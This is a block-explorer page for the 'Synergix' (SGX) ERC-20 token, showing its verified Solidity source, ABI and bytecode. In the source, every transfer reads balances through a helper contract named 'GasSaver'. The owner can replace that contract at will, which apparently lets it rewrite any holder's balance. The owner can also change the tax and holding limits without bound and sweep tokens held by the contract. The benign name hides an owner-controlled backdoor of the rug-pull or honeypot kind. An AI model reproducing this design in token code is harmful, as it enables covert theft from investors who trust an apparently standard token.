ERC-20
Overview
Max Total Supply
10,000,000 SGX
Holders
92
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SGX
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// Website: https://www.synergix.finance/ // Telegram: https://t.me/SynergixFi // Twitter: https://twitter.com/SynergixFi // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./GasSaver.sol"; contract SGX { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); uint public totalSupply = 10_000_000 * 10 ** 18; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; string public name = "Synergix"; string public symbol = "SGX"; uint8 public decimals = 18; address public gasSaver; bool public open; address public lp; uint public tax = 300; uint public max = 50; address public owner; modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } constructor () { owner = msg.sender; gasSaver = address(new GasSaver()); balanceOf[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); } function transfer(address recipient, uint amount) external returns (bool) { require(open); if (msg.sender == lp) return processBuy(msg.sender, recipient, amount); balanceOf[msg.sender] = balance(msg.sender) - amount; balanceOf[recipient] = balance(recipient) + amount; emit Transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint amount ) external returns (bool) { allowance[sender][msg.sender] -= amount; balanceOf[sender] = balance(sender) - amount; balanceOf[recipient] = balance(recipient) + amount; emit Transfer(sender, recipient, amount); return true; } function processBuy(address sender, address recipient, uint amount) private returns (bool) { balanceOf[sender] -= amount; uint taxInTokens = getTax(amount); balanceOf[address(this)] = balance(address(this)) + taxInTokens; emit Transfer(sender, address(this), taxInTokens); uint amountNoTax = amount - taxInTokens; balanceOf[recipient] = balance(recipient) + amountNoTax; uint maxInTokens = getMax(); require(maxInTokens >= balanceOf[recipient]); emit Transfer(sender, recipient, amountNoTax); return true; } function openMarket(address _lp) public onlyOwner { open = true; lp = _lp; } function changeMaxAndTax(uint _max, uint _tax) public onlyOwner { max = _max; tax = _tax; } function upgradeOwner(address _owner) public onlyOwner { owner = _owner; } function upgradeGasSaver(address _gasSaver) public onlyOwner { gasSaver = _gasSaver; } function transferTokens(address _token) public onlyOwner { uint balance = IERC20(_token).balanceOf(address(this)); IERC20(_token).transfer(msg.sender, balance); } function balance(address wallet) public view returns (uint) { return IGasSaver(gasSaver).balanceOf(wallet); } function getTax(uint amount) public view returns (uint) { return IGasSaver(gasSaver).calcTax(amount); } function getMax() public view returns (uint) { return IGasSaver(gasSaver).calcMax(); } } interface IGasSaver { function balanceOf( address wallet ) external view returns (uint); function calcTax( uint amount ) external view returns (uint); function calcMax() external view returns (uint); }
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; contract GasSaver { address public token; constructor () { token = msg.sender; } function balanceOf(address wallet) public view returns (uint) { return IERC20(token).balanceOf(wallet); } function calcTax(uint amount) public view returns (uint) { uint tax = IToken(token).tax(); uint taxInTokens = amount * tax / 10000; return taxInTokens; } function calcMax() public view returns (uint) { uint max = IToken(token).max(); uint totalSupply = IERC20(token).totalSupply(); uint maxInTokens = totalSupply * max / 10000; return maxInTokens; } } interface IToken { function tax() external view returns (uint); function max() external view returns (uint); } interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max","type":"uint256"},{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"changeMaxAndTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gasSaver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"open","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lp","type":"address"}],"name":"openMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"transferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_gasSaver","type":"address"}],"name":"upgradeGasSaver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"upgradeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526a084595161401484a0000006000556040518060400160405280600881526020017f53796e65726769780000000000000000000000000000000000000000000000008152506003908162000059919062000505565b506040518060400160405280600381526020017f534758000000000000000000000000000000000000000000000000000000000081525060049081620000a0919062000505565b506012600560006101000a81548160ff021916908360ff16021790555061012c6007556032600855348015620000d557600080fd5b5033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405162000125906200027d565b604051809103906000f08015801562000142573d6000803e3d6000fd5b50600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060005460016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040516200026f9190620005fd565b60405180910390a36200061a565b6106ae8062001fbf83390190565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030d57607f821691505b602082108103620003235762000322620002c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034e565b6200039986836200034e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e6620003e0620003da84620003b1565b620003bb565b620003b1565b9050919050565b6000819050919050565b6200040283620003c5565b6200041a6200041182620003ed565b8484546200035b565b825550505050565b600090565b6200043162000422565b6200043e818484620003f7565b505050565b5b8181101562000466576200045a60008262000427565b60018101905062000444565b5050565b601f821115620004b5576200047f8162000329565b6200048a846200033e565b810160208510156200049a578190505b620004b2620004a9856200033e565b83018262000443565b50505b505050565b600082821c905092915050565b6000620004da60001984600802620004ba565b1980831691505092915050565b6000620004f58383620004c7565b9150826002028217905092915050565b62000510826200028b565b67ffffffffffffffff8111156200052c576200052b62000296565b5b620005388254620002f4565b620005458282856200046a565b600060209050601f8311600181146200057d576000841562000568578287015190505b620005748582620004e7565b865550620005e4565b601f1984166200058d8662000329565b60005b82811015620005b75784890151825560018201915060208501945060208101905062000590565b86831015620005d75784890151620005d3601f891682620004c7565b8355505b6001600288020188555050505b505050505050565b620005f781620003b1565b82525050565b6000602082019050620006146000830184620005ec565b92915050565b611995806200062a6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c80636ac5db19116100c3578063a9059cbb1161007c578063a9059cbb14610390578063ab0b364c146103c0578063dd62ed3e146103de578063e3d670d71461040e578063e609348a1461043e578063fcfff16f1461045a5761014d565b80636ac5db19146102cc57806370a08231146102ea5780638da5cb5b1461031a57806395d89b411461033857806398ee0e231461035657806399c8d556146103725761014d565b806321a4c6c31161011557806321a4c6c31461020a57806323b872dd146102265780632efaef52146102565780633075f55214610272578063313c06a014610290578063313ce567146102ae5761014d565b806306fdde0314610152578063095ea7b314610170578063099da37f146101a05780630c89a0df146101d057806318160ddd146101ec575b600080fd5b61015a610478565b604051610167919061144f565b60405180910390f35b61018a6004803603810190610185919061150a565b610506565b6040516101979190611565565b60405180910390f35b6101ba60048036038101906101b59190611580565b6105f8565b6040516101c791906115bc565b60405180910390f35b6101ea60048036038101906101e591906115d7565b61069d565b005b6101f461082e565b60405161020191906115bc565b60405180910390f35b610224600480360381019061021f91906115d7565b610834565b005b610240600480360381019061023b9190611604565b610923565b60405161024d9190611565565b60405180910390f35b610270600480360381019061026b91906115d7565b610ad6565b005b61027a610baa565b60405161028791906115bc565b60405180910390f35b610298610c42565b6040516102a59190611666565b60405180910390f35b6102b6610c68565b6040516102c3919061169d565b60405180910390f35b6102d4610c7b565b6040516102e191906115bc565b60405180910390f35b61030460048036038101906102ff91906115d7565b610c81565b60405161031191906115bc565b60405180910390f35b610322610c99565b60405161032f9190611666565b60405180910390f35b610340610cbf565b60405161034d919061144f565b60405180910390f35b610370600480360381019061036b91906116b8565b610d4d565b005b61037a610def565b60405161038791906115bc565b60405180910390f35b6103aa60048036038101906103a5919061150a565b610df5565b6040516103b79190611565565b60405180910390f35b6103c8610f95565b6040516103d59190611666565b60405180910390f35b6103f860048036038101906103f391906116f8565b610fbb565b60405161040591906115bc565b60405180910390f35b610428600480360381019061042391906115d7565b610fe0565b60405161043591906115bc565b60405180910390f35b610458600480360381019061045391906115d7565b611085565b005b610462611159565b60405161046f9190611565565b60405180910390f35b6003805461048590611767565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190611767565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e691906115bc565b60405180910390a36001905092915050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630ca734ab836040518263ffffffff1660e01b815260040161065591906115bc565b602060405180830381865afa158015610672573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069691906117ad565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490611826565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107689190611666565b602060405180830381865afa158015610785573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a991906117ad565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016107e6929190611846565b6020604051808303816000875af1158015610805573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610829919061189b565b505050565b60005481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb90611826565b60405180910390fd5b6001600560156101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109b191906118f7565b92505081905550816109c285610fe0565b6109cc91906118f7565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610a1984610fe0565b610a23919061192b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ac391906115bc565b60405180910390a3600190509392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5d90611826565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f880f9206040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3d91906117ad565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900460ff1681565b60085481565b60016020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054610ccc90611767565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf890611767565b8015610d455780601f10610d1a57610100808354040283529160200191610d45565b820191906000526020600020905b815481529060010190602001808311610d2857829003601f168201915b505050505081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd490611826565b60405180910390fd5b81600881905550806007819055505050565b60075481565b6000600560159054906101000a900460ff16610e1057600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610e7757610e7033848461116c565b9050610f8f565b81610e8133610fe0565b610e8b91906118f7565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610ed884610fe0565b610ee2919061192b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f8291906115bc565b60405180910390a3600190505b92915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161103d9190611666565b602060405180830381865afa15801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e91906117ad565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90611826565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560159054906101000a900460ff1681565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111bd91906118f7565b9250508190555060006111cf836105f8565b9050806111db30610fe0565b6111e5919061192b565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161128591906115bc565b60405180910390a36000818461129b91906118f7565b9050806112a786610fe0565b6112b1919061192b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112fe610baa565b9050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101561134c57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113a991906115bc565b60405180910390a3600193505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113f95780820151818401526020810190506113de565b60008484015250505050565b6000601f19601f8301169050919050565b6000611421826113bf565b61142b81856113ca565b935061143b8185602086016113db565b61144481611405565b840191505092915050565b600060208201905081810360008301526114698184611416565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114a182611476565b9050919050565b6114b181611496565b81146114bc57600080fd5b50565b6000813590506114ce816114a8565b92915050565b6000819050919050565b6114e7816114d4565b81146114f257600080fd5b50565b600081359050611504816114de565b92915050565b6000806040838503121561152157611520611471565b5b600061152f858286016114bf565b9250506020611540858286016114f5565b9150509250929050565b60008115159050919050565b61155f8161154a565b82525050565b600060208201905061157a6000830184611556565b92915050565b60006020828403121561159657611595611471565b5b60006115a4848285016114f5565b91505092915050565b6115b6816114d4565b82525050565b60006020820190506115d160008301846115ad565b92915050565b6000602082840312156115ed576115ec611471565b5b60006115fb848285016114bf565b91505092915050565b60008060006060848603121561161d5761161c611471565b5b600061162b868287016114bf565b935050602061163c868287016114bf565b925050604061164d868287016114f5565b9150509250925092565b61166081611496565b82525050565b600060208201905061167b6000830184611657565b92915050565b600060ff82169050919050565b61169781611681565b82525050565b60006020820190506116b2600083018461168e565b92915050565b600080604083850312156116cf576116ce611471565b5b60006116dd858286016114f5565b92505060206116ee858286016114f5565b9150509250929050565b6000806040838503121561170f5761170e611471565b5b600061171d858286016114bf565b925050602061172e858286016114bf565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061177f57607f821691505b60208210810361179257611791611738565b5b50919050565b6000815190506117a7816114de565b92915050565b6000602082840312156117c3576117c2611471565b5b60006117d184828501611798565b91505092915050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006118106009836113ca565b915061181b826117da565b602082019050919050565b6000602082019050818103600083015261183f81611803565b9050919050565b600060408201905061185b6000830185611657565b61186860208301846115ad565b9392505050565b6118788161154a565b811461188357600080fd5b50565b6000815190506118958161186f565b92915050565b6000602082840312156118b1576118b0611471565b5b60006118bf84828501611886565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611902826114d4565b915061190d836114d4565b9250828203905081811115611925576119246118c8565b5b92915050565b6000611936826114d4565b9150611941836114d4565b9250828201905080821115611959576119586118c8565b5b9291505056fea26469706673582212209c7a59536840516c81c5ad507a4ed2177e4b63b86773dc16cd75d2a73e03828964736f6c63430008130033608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061064e806100606000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c80630ca734ab1461005157806370a0823114610081578063f880f920146100b1578063fc0c546a146100cf575b600080fd5b61006b600480360381019061006691906103f9565b6100ed565b6040516100789190610435565b60405180910390f35b61009b600480360381019061009691906104ae565b6101a8565b6040516100a89190610435565b60405180910390f35b6100b961024c565b6040516100c69190610435565b60405180910390f35b6100d761039a565b6040516100e491906104ea565b60405180910390f35b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166399c8d5566040518163ffffffff1660e01b8152600401602060405180830381865afa15801561015b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017f919061051a565b9050600061271082856101929190610576565b61019c91906105e7565b90508092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161020491906104ea565b602060405180830381865afa158015610221573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610245919061051a565b9050919050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ac5db196040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102de919061051a565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561034e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610372919061051a565b9050600061271083836103859190610576565b61038f91906105e7565b905080935050505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080fd5b6000819050919050565b6103d6816103c3565b81146103e157600080fd5b50565b6000813590506103f3816103cd565b92915050565b60006020828403121561040f5761040e6103be565b5b600061041d848285016103e4565b91505092915050565b61042f816103c3565b82525050565b600060208201905061044a6000830184610426565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061047b82610450565b9050919050565b61048b81610470565b811461049657600080fd5b50565b6000813590506104a881610482565b92915050565b6000602082840312156104c4576104c36103be565b5b60006104d284828501610499565b91505092915050565b6104e481610470565b82525050565b60006020820190506104ff60008301846104db565b92915050565b600081519050610514816103cd565b92915050565b6000602082840312156105305761052f6103be565b5b600061053e84828501610505565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610581826103c3565b915061058c836103c3565b925082820261059a816103c3565b915082820484148315176105b1576105b0610547565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006105f2826103c3565b91506105fd836103c3565b92508261060d5761060c6105b8565b5b82820490509291505056fea26469706673582212204c03594777808037e653552dce1e361755847bc43c2ef5b07f30087015d937a164736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636ac5db19116100c3578063a9059cbb1161007c578063a9059cbb14610390578063ab0b364c146103c0578063dd62ed3e146103de578063e3d670d71461040e578063e609348a1461043e578063fcfff16f1461045a5761014d565b80636ac5db19146102cc57806370a08231146102ea5780638da5cb5b1461031a57806395d89b411461033857806398ee0e231461035657806399c8d556146103725761014d565b806321a4c6c31161011557806321a4c6c31461020a57806323b872dd146102265780632efaef52146102565780633075f55214610272578063313c06a014610290578063313ce567146102ae5761014d565b806306fdde0314610152578063095ea7b314610170578063099da37f146101a05780630c89a0df146101d057806318160ddd146101ec575b600080fd5b61015a610478565b604051610167919061144f565b60405180910390f35b61018a6004803603810190610185919061150a565b610506565b6040516101979190611565565b60405180910390f35b6101ba60048036038101906101b59190611580565b6105f8565b6040516101c791906115bc565b60405180910390f35b6101ea60048036038101906101e591906115d7565b61069d565b005b6101f461082e565b60405161020191906115bc565b60405180910390f35b610224600480360381019061021f91906115d7565b610834565b005b610240600480360381019061023b9190611604565b610923565b60405161024d9190611565565b60405180910390f35b610270600480360381019061026b91906115d7565b610ad6565b005b61027a610baa565b60405161028791906115bc565b60405180910390f35b610298610c42565b6040516102a59190611666565b60405180910390f35b6102b6610c68565b6040516102c3919061169d565b60405180910390f35b6102d4610c7b565b6040516102e191906115bc565b60405180910390f35b61030460048036038101906102ff91906115d7565b610c81565b60405161031191906115bc565b60405180910390f35b610322610c99565b60405161032f9190611666565b60405180910390f35b610340610cbf565b60405161034d919061144f565b60405180910390f35b610370600480360381019061036b91906116b8565b610d4d565b005b61037a610def565b60405161038791906115bc565b60405180910390f35b6103aa60048036038101906103a5919061150a565b610df5565b6040516103b79190611565565b60405180910390f35b6103c8610f95565b6040516103d59190611666565b60405180910390f35b6103f860048036038101906103f391906116f8565b610fbb565b60405161040591906115bc565b60405180910390f35b610428600480360381019061042391906115d7565b610fe0565b60405161043591906115bc565b60405180910390f35b610458600480360381019061045391906115d7565b611085565b005b610462611159565b60405161046f9190611565565b60405180910390f35b6003805461048590611767565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190611767565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e691906115bc565b60405180910390a36001905092915050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630ca734ab836040518263ffffffff1660e01b815260040161065591906115bc565b602060405180830381865afa158015610672573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069691906117ad565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490611826565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107689190611666565b602060405180830381865afa158015610785573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a991906117ad565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016107e6929190611846565b6020604051808303816000875af1158015610805573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610829919061189b565b505050565b60005481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb90611826565b60405180910390fd5b6001600560156101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790